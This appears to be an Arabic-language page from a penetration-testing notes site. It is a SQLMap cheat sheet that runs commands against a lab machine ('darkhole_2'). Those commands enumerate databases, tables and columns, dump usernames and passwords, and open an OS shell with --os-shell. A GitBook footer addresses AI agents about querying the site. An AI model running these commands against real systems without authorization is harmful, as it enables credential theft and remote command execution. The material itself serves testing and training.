> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/hacking-tools/web/sqlmap.md).

# SQLMap

{% hint style="info" %}
**SQLMap** هي أداة اختبار اختراق مفتوحة المصدر صُمِّمت خصيصًا لاكتشاف واستغلال ثغرات حقن SQL في تطبيقات الويب. تقوم بأتمتة عملية اكتشاف واستغلال ثغرات SQL من خلال التفاعل مع قواعد البيانات الأساسية. يستخدم SQLMap متخصصو أمن تقنية المعلومات والباحثون الأمنيون لتقييم أمان تطبيقات الويب عبر تحديد الثغرات الأمنية المرتبطة بـ SQL واستغلالها.
{% endhint %}

## سير عمل SQLMap

1. التقاط أو إنشاء الطلب المعرض للثغرة، بما في ذلك ملفات تعريف الارتباط والرؤوس والمعلمة القابلة للحقن.
2. استخرج بصمة نظام إدارة قواعد البيانات عندما يكون ذلك ممكنًا واضبط `--risk`, `--level`، و `--dbms` فقط بعد تأكيد السلوك.
3. أحصِ قواعد البيانات والجداول والأعمدة والسجلات المستهدفة بأصغر نطاق استعلام يثبت التأثير.
4. استخرج فقط البيانات المطلوبة لهدف التقييم واحفظ سطر الأوامر كما هو تمامًا لأغراض التقرير.
5. تحقق من النتيجة يدويًا عندما يتطلب التقرير دليلًا مبدئيًا بسيطًا دون أتمتة.

## عمليات SQLMap الشائعة

## عرض قواعد البيانات:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --dbs --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="/files/b46302cd00e98c53ba090fccdd62e510f0fc1a17" alt=""><figcaption></figcaption></figure>

## البحث عن الجداول في قاعدة بيانات محددة:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --tables --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="/files/8be9927ed706c9fe315d12266faf2f33f72f8fca" alt=""><figcaption></figcaption></figure>

## العثور على الأعمدة في جدول محدد:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="/files/48a0cfa56debb0ea8b5faae9b3ca4c3a32ca7b2e" alt=""><figcaption></figcaption></figure>

## استخراج أسماء المستخدمين وكلمات المرور من جدول "users":

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" -T users -C username,password --dump
```

<figure><img src="/files/0f485f02127500ba973cacfb00e47b58003df0e0" alt=""><figcaption></figcaption></figure>

## الطرفية التفاعلية:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --os-shell --batch
```

## المعلمات المهمة:

#### تعيين مستوى خطورة الهجوم وعمقه:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --dbms mysql --risk 3 --level 4
```

#### إذا كنا نعرف نوع قاعدة البيانات عبر المعلمة:

<pre class="language-bash"><code class="lang-bash"><strong>--dbms mysql
</strong></code></pre>

#### لاختبار جميع أنواع الهجمات دون إرسال طلب في كل مرة:

```bash
--batch
```

### كل الملاحظات

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/99baa9f6b966ea1edbb97580517e1db4ea616260">/pages/99baa9f6b966ea1edbb97580517e1db4ea616260</a></td></tr><tr><td><a href="/pages/dfe353c800c8d1767ff1dd628f6aba0ea7ec1ddd">/pages/dfe353c800c8d1767ff1dd628f6aba0ea7ec1ddd</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/hacking-tools/web/sqlmap.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
